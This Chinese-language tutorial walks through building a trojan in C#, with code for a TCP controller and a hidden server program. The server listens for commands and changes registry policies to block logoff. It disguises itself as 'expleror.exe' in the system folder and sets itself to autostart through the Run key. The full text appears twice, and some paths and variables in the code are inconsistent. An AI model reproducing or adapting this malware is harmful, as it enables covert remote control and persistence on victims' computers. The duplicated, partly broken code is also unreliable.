木马的介绍:(参照黑客防线
2000-2001
精华本中的木马原理揭秘)
因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现 C# 的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1 连接请求
使用了 .NET 类中的 System.Net.Sockets.TcpClient 类 ,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用 IP 地址。
Port 是端口。
// System.EventArgs 包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
// 记录操作 , 在 richTextBox 控件中增加操作信息
richTextBox1.AppendText(" 请求连接 " +textBox1.Text +"/r");
int port =6678;
try
{
// 初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show(" 服务器不在线 ! 确定是否输入主机名称 .");
richTextBox1.AppendText(" 服务器不在线 ! 确定是否输入主机名称 .");
}
}//private void buttion
2 测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
// 提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
// 纪录操作
richTextBox1.AppendText(" 测试连接 " +"/r");
try
{
stream = client.GetStream();
if(stream.CanWrite)
{
// 发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
// 下次使用
stream.Flush();
// 启动接收反回数据的线程
//receive 是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"/r");
MessageBox.Show(ee.Message);
}
}
3 控制生效的代码
private void button9_Click(object sender, System.EventArgs e)
{
// 这里是确定要发送的控制码, RadioButton 是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show(" 你没有输入任何控制目标 ! 不发控制信号 ");
richTextBox1.AppendText(" 你没有输入任何控制目标 ! 不发控制信号 ");
}
else if(control != "000000")
{
try
{
// 记录操作
richTextBox1.AppendText (control + " 正在试图控制 , 等待回应 ......" + "/r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText(" 服务器未连接 1 控制无效 !" +"/r");
MessageBox.Show(" 服务器未连接 1 控制无效 !" +"/r");
}
}//else if
}
4 线程执行的函数
private void receive()
{
// 设置读取数据的空间
byte[] bb = new byte[3];
// 读取 3 个字节 ,i 为实际读取的字节数
int i = stream.Read(bb,0,3);
// 转换成字符串,如果是中文控制码则用 string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc 为我设置的服务器的返回码 hjc 为连接成功, hkz 为控制成功
if(ss=="hjc")
{
MessageBox.Show(" 连接成功 ");
richTextBox1.AppendText(" 连接成功 ");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control +" 控制成功 "+"/r");
MessageBox.Show(control +" 控制成功 "+"/r");
}
}
服务端的开发:
要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:
1 .在 VC# 中,建立一个后台服务程序是很容易的,先建立一个新的 C# 的 Windows 应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性 “ShowInTaskbar” 属性设为 false, 让它运行时不会在任务栏中显示,并将属性 “Windowstate” 属性设为 Mininized 即可,这样窗体就可以隐藏运行了。当然你也可以在 InitializeComponent() 设置,此函数起初始化的作用,在窗体显示前运行,代码如下:
private void InitializeComponent()
{
//
// Form1
//
// 窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
// 窗体名称
this.Name = "Form1";
// 设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
2 . 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:
public Form1() // 窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
// 加入你的侦听代码
// 端口你可以自已设定 , 我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener 是用来在 Tcp 网络中侦听客户端的
listener = new TcpListener(port);
// 启动侦听
listener.Start();
// 增加接收控制码的线程 , 如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
// 控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode 函数如下,完整代码见程序
private void reControlCode()
{
// 设置接收套接字 , 接收 listener.AcceptSocket 是返回已经接收的客户的请求
socket = listener.AcceptSocket();
// 如果连接成功执行
while (socket.Connected)
{
// 接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
// 根据控制码执行不同的功能
// 修改注册表加入编码
switch (ss)
{
case "jiance":// 测试连接 , 返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
// 修改注册表函数 , 自已定义,见下面分析
UnLogOff();
// 返回控制消息
retMessage();
break;
case "zx0100":
// 修改注册表函数
UnClose();
// 返回控制消息
retMessage();
break;
// 重复的 case 功能与前面一样 , 略掉
default:
break;
}//case
}//while
} //private void reControlCode
3 . C# 中实现注册表的修改,使用了 .NET 类库中的 System.Microsoft.Win32 命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键 SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
下面设键值 NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用 C# 实现对注册表的修改:
private void UnLogOff()
{
// 得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
// 设置一个注册表子键的变量
RegistryKey key1;
try
{
// 函数 RegistryKey.OpenSubkey(string registrykey,bool canwrite) 检索指定的子键
//registrykey 是用户指定的键值, canwrite 为 true 则可修改,默认为 fasle 不可改
key1 =
rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);
// 设置子键的键名,和值
key1.SetValue ("NoLogOff",1);
// 关闭打开的子键
key1.Close();
// 警告字符串设定
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer 键值 Nologoff 被修改!请将它置为 0!";
}
catch{}
// 如果不存在自已建立
if(key1 ==null)
{
try
{
// 使用 RegistryKey.CreateSubKey(string mystring) 函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer 键值 Nologoff 被修改!请将它置为 0!";
}
catch{}
}
}
4 .在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在 System,System32 的目录下以防被发现。转移的代码分析如下,主要实现的功能是将 D 盘下的木马程序转移到 C://winnnt//system//msdoss.exe ,同时换名称。使用的 .NET 命名空间 System.IO, 它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了 System.IO.File 类。
private void moveCC1()
{
try
{
// 函数 File.Move(string sourceFileName,string destFileName) 起移动文件的作用
//sourceFileName 为要移动的文件名, destFileName 为文件的新路径
File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
}
catch {}
// 将新移的木马程序设为自启动 . 分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()
因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:
控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现 C# 的网络编程和注册表的修改。
控制端开发:
控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:
控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1 连接请求
使用了 .NET 类中的 System.Net.Sockets.TcpClient 类 ,
TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用 IP 地址。
Port 是端口。
// System.EventArgs 包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
// 记录操作 , 在 richTextBox 控件中增加操作信息
richTextBox1.AppendText(" 请求连接 " +textBox1.Text +"/r");
int port =6678;
try
{
// 初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show(" 服务器不在线 ! 确定是否输入主机名称 .");
richTextBox1.AppendText(" 服务器不在线 ! 确定是否输入主机名称 .");
}
}//private void buttion
2 测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。
// 提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
// 纪录操作
richTextBox1.AppendText(" 测试连接 " +"/r");
try
{
stream = client.GetStream();
if(stream.CanWrite)
{
// 发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
// 下次使用
stream.Flush();
// 启动接收反回数据的线程
//receive 是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message+"/r");
MessageBox.Show(ee.Message);
}
}
3 控制生效的代码
private void button9_Click(object sender, System.EventArgs e)
{
// 这里是确定要发送的控制码, RadioButton 是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show(" 你没有输入任何控制目标 ! 不发控制信号 ");
richTextBox1.AppendText(" 你没有输入任何控制目标 ! 不发控制信号 ");
}
else if(control != "000000")
{
try
{
// 记录操作
richTextBox1.AppendText (control + " 正在试图控制 , 等待回应 ......" + "/r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText(" 服务器未连接 1 控制无效 !" +"/r");
MessageBox.Show(" 服务器未连接 1 控制无效 !" +"/r");
}
}//else if
}
4 线程执行的函数
private void receive()
{
// 设置读取数据的空间
byte[] bb = new byte[3];
// 读取 3 个字节 ,i 为实际读取的字节数
int i = stream.Read(bb,0,3);
// 转换成字符串,如果是中文控制码则用 string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc 为我设置的服务器的返回码 hjc 为连接成功, hkz 为控制成功
if(ss=="hjc")
{
MessageBox.Show(" 连接成功 ");
richTextBox1.AppendText(" 连接成功 ");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control +" 控制成功 "+"/r");
MessageBox.Show(control +" 控制成功 "+"/r");
}
}
服务端的开发:
要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:
1 .在 VC# 中,建立一个后台服务程序是很容易的,先建立一个新的 C# 的 Windows 应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性 “ShowInTaskbar” 属性设为 false, 让它运行时不会在任务栏中显示,并将属性 “Windowstate” 属性设为 Mininized 即可,这样窗体就可以隐藏运行了。当然你也可以在 InitializeComponent() 设置,此函数起初始化的作用,在窗体显示前运行,代码如下:
private void InitializeComponent()
{
//
// Form1
//
// 窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
// 窗体名称
this.Name = "Form1";
// 设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}
2 . 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:
public Form1() // 窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
// 加入你的侦听代码
// 端口你可以自已设定 , 我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener 是用来在 Tcp 网络中侦听客户端的
listener = new TcpListener(port);
// 启动侦听
listener.Start();
// 增加接收控制码的线程 , 如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
// 控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode 函数如下,完整代码见程序
private void reControlCode()
{
// 设置接收套接字 , 接收 listener.AcceptSocket 是返回已经接收的客户的请求
socket = listener.AcceptSocket();
// 如果连接成功执行
while (socket.Connected)
{
// 接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
// 根据控制码执行不同的功能
// 修改注册表加入编码
switch (ss)
{
case "jiance":// 测试连接 , 返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
// 修改注册表函数 , 自已定义,见下面分析
UnLogOff();
// 返回控制消息
retMessage();
break;
case "zx0100":
// 修改注册表函数
UnClose();
// 返回控制消息
retMessage();
break;
// 重复的 case 功能与前面一样 , 略掉
default:
break;
}//case
}//while
} //private void reControlCode
3 . C# 中实现注册表的修改,使用了 .NET 类库中的 System.Microsoft.Win32 命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键 SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer
下面设键值 NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用 C# 实现对注册表的修改:
private void UnLogOff()
{
// 得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
// 设置一个注册表子键的变量
RegistryKey key1;
try
{
// 函数 RegistryKey.OpenSubkey(string registrykey,bool canwrite) 检索指定的子键
//registrykey 是用户指定的键值, canwrite 为 true 则可修改,默认为 fasle 不可改
key1 =
rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer",true);
// 设置子键的键名,和值
key1.SetValue ("NoLogOff",1);
// 关闭打开的子键
key1.Close();
// 警告字符串设定
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer 键值 Nologoff 被修改!请将它置为 0!";
}
catch{}
// 如果不存在自已建立
if(key1 ==null)
{
try
{
// 使用 RegistryKey.CreateSubKey(string mystring) 函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr +"HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Policies//Explorer 键值 Nologoff 被修改!请将它置为 0!";
}
catch{}
}
}
4 .在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在 System,System32 的目录下以防被发现。转移的代码分析如下,主要实现的功能是将 D 盘下的木马程序转移到 C://winnnt//system//msdoss.exe ,同时换名称。使用的 .NET 命名空间 System.IO, 它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了 System.IO.File 类。
private void moveCC1()
{
try
{
// 函数 File.Move(string sourceFileName,string destFileName) 起移动文件的作用
//sourceFileName 为要移动的文件名, destFileName 为文件的新路径
File.Move("C://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
}
catch {}
// 将新移的木马程序设为自启动 . 分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",true);
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run");
key1.SetValue ("microsoftt","d://winnt//system32//expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()